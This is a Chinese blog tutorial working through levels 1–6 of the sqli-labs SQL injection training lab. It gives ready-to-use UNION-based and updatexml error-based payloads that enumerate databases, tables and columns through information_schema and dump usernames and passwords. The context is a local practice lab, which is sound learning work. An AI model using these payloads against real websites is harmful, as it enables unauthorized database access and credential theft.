首页 > 数据库 >sqli-labs-master less1-less6

sqli-labs-master less1-less6

时间:2024-08-02 12:28:15浏览次数:15  
标签:labs sqli select --+ table less6 id concat schema

目录

通关前必看

1、判断是否存在sql注入以及是字符型还是数值型:

2、各种注入方式以及方法

有回显型:

报错注入(只有'ok'和'no'的提示以及报错提示):

详细思路,后面的题都可以这样去思考

关卡实操

less1

less2

less3

less4

less5

less6



通关前必看

在这之前,需要掌握数据库的基本操作,对数据库有较好的了解(博主主页中有)

1、判断是否存在sql注入以及是字符型还是数值型:

方法:输入一个不会报错的值,然后在后面加上and 1=1 /and 1=2

比如127.0.0.1/sqli-labs-master/Less-1/?id=   当我们输入1时,不会报错,后面加上and 1=1,结果显示和之前一样(可以初步断定存在sql注入了),然后改成and 1=2,如果结果显示还是一样,可以断定这是字符型了,因为客户端将1=1和1=2当作字符处理了;如果结果发生了变化,则是数值型,因为1=2明显为假。

2、各种注入方式以及方法

有回显型:

1‘ order by n 通过改变n的值,可以判断出有几处回显(1为真,执行order语句),这里假设判断出来有三处回显。

-1’  union select 1,2,database()  爆出数据库名(-1为假,执行union语句;1和2只起占位作用,因为我们判断出来有三处回显,所以将没有使用的位置占位,1,2位置还可以写其他语句,比如-1‘ union select 1,version(),database(),则会在相应位置返回数据库版本,数据库名)

-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='数据库名' 爆出表名,且在一行显示;

还可以用-1‘ union select 1,2,table_name from information_schema.tables where table_schema='数据库名'  limit 0,1 (只能显示第一个表,通过改变limit 0,1 来获取更多表名)

-1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name='表名' and table_schema='数据库名' 爆出某张表的字段名;

-1' union select 1,2,group_concat(id,username,password) from users --+爆出字段对应的数据;


报错注入(只有'ok'和'no'的提示以及报错提示):

先用sleep()延迟函数判断类型和闭合方式:?id=1 and sleep(5)--+如果有延迟则说明是数值型;如果没有延迟,说明是字符型。若是字符型,还需要判断闭合方式,同样的,假设是单引号闭合:?id=1' and sleep(5)--+ 如果有延迟,则假设正确……

固定语句:?id=1' and updatexml(1,concat(0x7e,(   ),0x7e),1)--+中间的括号里面写需要执行的select语句。


详细思路,后面的题都可以这样去思考

 1、我们在传参处随便输入个数字,比如1,发现有回显,且没有报错。然后在后面再加上 and 1=1没有变化,再换成and1=2,如果回显没有变化,可以判断这里输入值被当作字符串处理了,所以是字符型;如果回显发生了变化,则是数值型。 2、下一步是判断是单引号闭合还是双引号闭合,删去上一步的and语句,我们在输入的1后面加上单引号,如果报错了,说明是单引号闭合, where id =‘ 1’ ‘  ……;多出来的单引号会报错;如果没有报错,说明是双引号闭合,输入的单引号被当作参数处理了, where id =“ 1’ ”  ……; 3、判断好闭合后,我们在后面加上注释符 # (post型传参)或者--+(get型传参)将之后的其他判断语句注释掉,如果没有报错,就可以进行数据库爆破了。 4、如果出错了,很可能是原数据库语句中加了括号 where id =(‘ 1’ ‘ ) ……;那我们就还需要将前面的括号闭合,在输入的引号后面加上右括号,直至不报错为止。

关卡实操


less1

输入1有回显,加上and 1=1不报错,and1=2也不报错,且回显都一样,判断是字符型:

输入1’ 报错,判断是单引号闭合:

在后面加上--+(因为这里是get型传参,所以不用#来注释),发现回显正常:

开始爆破数据库:

?id=1' order by 3 --+回显正常,而?id=1' order by4 --+报错了,所以判断出这里有3处回显:

爆数据库名 ?id=0' union select 1,2,database()--+可以看到,在第三个回显处显示的是数据库名:security :

爆表名?id=0' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+  可以看到,有emails,referers,uagents,users四张表:

爆字段名(以users表)为例?id=0' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+可以看到users表有id,username,password三个字段:

爆字段数据?id=0' union select 1,2,group_concat(id,username,password) from users --+

接下来的关卡我们用类似的方法,就不赘述了,主要是要判断出是字符型,还是数值型,是什么闭合,有没有括号。


less2

这里and 1=2 发现回显异常,所以判断出是数值型,所以就不用加引号来闭合了:

后面加上注释--+发现回显正常,说明没有括号:

接下来就是一样的方法来爆破数据库了,我们先判断有几处回显,order by 3时回显正常,order by 4时报错,所以有3处回显:

爆数据库名?id=0 union select 1,2,database()--+,注意这里由于是数值型,所以不加引号:

同样的方法爆出其他的数据:

表名:?id=0 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

字段名:?id=0 union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+

字段数据:?id=0 union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+


less3

同样的方法,判断出这里是字符型且是单引号闭合,但是当我们加上注释--+后,还是报错了,说明这里可能还有括号没有闭合:

我们在引号后面加上一个右括号,发现回显正常了:

之后爆数据库:

?id=1') order by 3--+判断有三处回显

数据库名?id =0') union select 1,2,database()--+

表名:?id=0的') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

字段名:?id=0') union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+

字段数据:?id=0') union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+


less4

同样的方法判断出字符型;

当我们加上一个单引号后发现回显正常的,说明这里是双引号闭合(where id =" 1' "):

我们改成双引号id=1" 后发现报错了,所以确实是双引号闭合:

后面加上注释--+,发现报错,说明有括号没有闭合:

我们在双引号后面加上一个右括号,发现回显正常了:

接下来一样的方法爆数据库:

?id=1") order by 3--+判断有三处回显

数据库名:?id=0") union select 1,2,database()--+

表名:?id=0") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

字段名:?id=0") union select 1,2,group_concat(column_name) from information_schema.columns where table_name ='表名'--+

字段数据:?id=0") union select 1,2,group_concat(多个字段,逗号分隔开) from 表名--+


less5

这一关我们发现输入正确的值,只会返回you are in;输入错误的值就没有回显,语法错误就会报错,除此之外就没有其它信息了,所以就不能用union联合查询了。这里我们用报错注入。

同样的方法判断出这里是字符型,单引号闭合。

然后用updatexml()报错函数来爆破数据库:

固定语句结构就是这样的:?id=1' and updatexml(1,concat(0x7e,(   ),0x7e),1)--+最中间的括号里填查询语句。

爆数据库名:?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+

爆表名(只需要更改中间括号里面的内同容):?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

同样的方法爆字段名:?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e),1)--+

爆字段数据:?id=1' and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)--+


less6

同less5要用报错注入

同样的方法判断出这里是字符型,双引号闭合。

爆数据库名?id=1" and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+

爆表名?id=1" and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)--+

爆字段名?id=1" and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.colunms where table_name='表名'),0x7e),1)--+

爆字段数据?id=1" and updatexml(1,concat(0x7e,(select group_concat(字段) from 表名),0x7e),1)



标签:labs,sqli,select,--+,table,less6,id,concat,schema
From: https://blog.csdn.net/bunengyongzho666/article/details/140579229

相关文章

  • sqli-labs(less-1 ~ less-8)
    1、less-11、首先输入参数我们可以看到:2、开始进行测试:输入一个单引号试试:http://127.0.0.1:8077/sql/Less-1/?id=1%27 得到报错信息:我们可以得知是字符型的sql注入3、验证一下:先输入:http://127.0.0.1:8077/sql/Less-1/?id=1%27%20and%201=1--+再输入:http:/......
  • 自娱自乐,sqlite3 数据库查看脚本
    创建数据库#!/bin/bashsqlite3example.db<<EOF--创建表CREATETABLEusers(idINTEGERPRIMARYKEY,nameTEXTNOTNULL,emailTEXTUNIQUENOTNULL,ageINTEGER);CREATETABLEorders(order_idINTEGERPRIMARYKEY,user_idINTE......
  • 视频监控国标GB28181平台EasyGBS如何更换默认的SQLite数据库?
    视频流媒体安防监控国标GB28181平台EasyGBS视频能力丰富,部署灵活,既能作为业务平台使用,也能作为安防监控视频能力层被业务管理平台调用。国标GB28181视频EasyGBS平台可提供流媒体接入、处理、转发等服务,支持内网、公网的安防视频监控设备通过国标GB/T28181协议进行视频监控直播......
  • SSRF-labs-master靶场
    目录file_get_content.phpsql_connect.phpdownload.phpdns-spoofing.phpdns_rebinding.php访问链接http://127.0.0.1/SSRF/#file_get_content.php在编程语言中,有一些函数可以获取本地保存文件的内容。这些功能可能能够从远程URL以及本地文件如果没有对输入内容......
  • Python sqlite3 删除数据
    要从SQLite表中删除记录,你需要使用DELETEFROM语句。要删除特定的记录,你需要同时使用WHERE子句。要更新特定的记录,你需要同时使用WHERE子句。语法以下是SQLite中DELETE查询的语法- DELETEFROMtable_name[WHEREClause]PythonCopy例子假设我们使用以下查询创建了......
  • C#操作sqlite数据库
    //连接字符串conn=@"DataSource=E:\sqlite.db";stringsql_table="SELECTnameFROMsqlite_masterWHEREtype='table'ANDnameLIKE'%prod%'";DataTabledt_tbname=SQLiteHelper.Query(conn,sql_table).Tables[0];//工具......
  • [GXYCTF2019]BabySQli
    [GXYCTF2019]BabySQli非常神奇的一道题,漏洞利用点在于联合查询时如果数据不存在,则会创建一个临时虚拟用户于是当前尝试username=admin,返回wrongpass则该用户名存在所以username:1'unionselect1,'admin','202cb962ac59075b964b07152d234b70'#(202cb962ac59075b964b07152......
  • 文件上传漏洞--之upload-labs靶场详解11-15关
    第11关第一步:查看源码这是一个白名单,里面限制了只可以提供它所规定文件jpg,png,gif。 这段PHP代码主要实现了文件上传的功能,并进行了一些条件判断和处理: 首先,定义了两个变量 $is_upload 并初始化为 false ,$msg 初始化为 null 。 然后,检查是否通过 PO......
  • 菜鸟通关Upload-labs记录(1-21)
    目录基础环境所需知识:文件上传漏洞漏洞利用方式文件漏洞三要素:通关过程通用思路1.第一关2.第二关3.第三关4.第四关5.第五关6.第六关7.第七关8.第八关9.第九关10.第十关11.第十一关12.第十二关13.第十三关14.第十四关15.第十五关16.第十六关17.第十七关18.第十八关19.第......
  • SQLite?低调不是小众...【送源码】
    前几天在一个群里看到一位同学说:“SQLite这么小众的数据库,到底是什么人在用啊?”首先要说的是SQLite可不是小众的数据库,相反,SQLite是世界上装机量最多的数据库,远超MySQL,只不过比较低调而已。低调到我想在官网上找一个好看的用来当插图的图片都找不到,只能截一张官网首页来撑......